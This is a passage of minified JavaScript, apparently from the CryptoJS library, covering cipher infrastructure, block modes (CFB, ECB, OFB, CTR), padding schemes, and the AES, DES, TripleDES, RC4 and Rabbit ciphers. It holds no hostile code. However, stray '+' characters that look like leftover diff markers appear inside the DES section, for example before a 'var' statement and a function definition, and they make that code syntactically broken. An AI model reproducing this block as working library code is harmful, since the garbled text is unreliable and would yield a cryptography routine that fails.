t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & 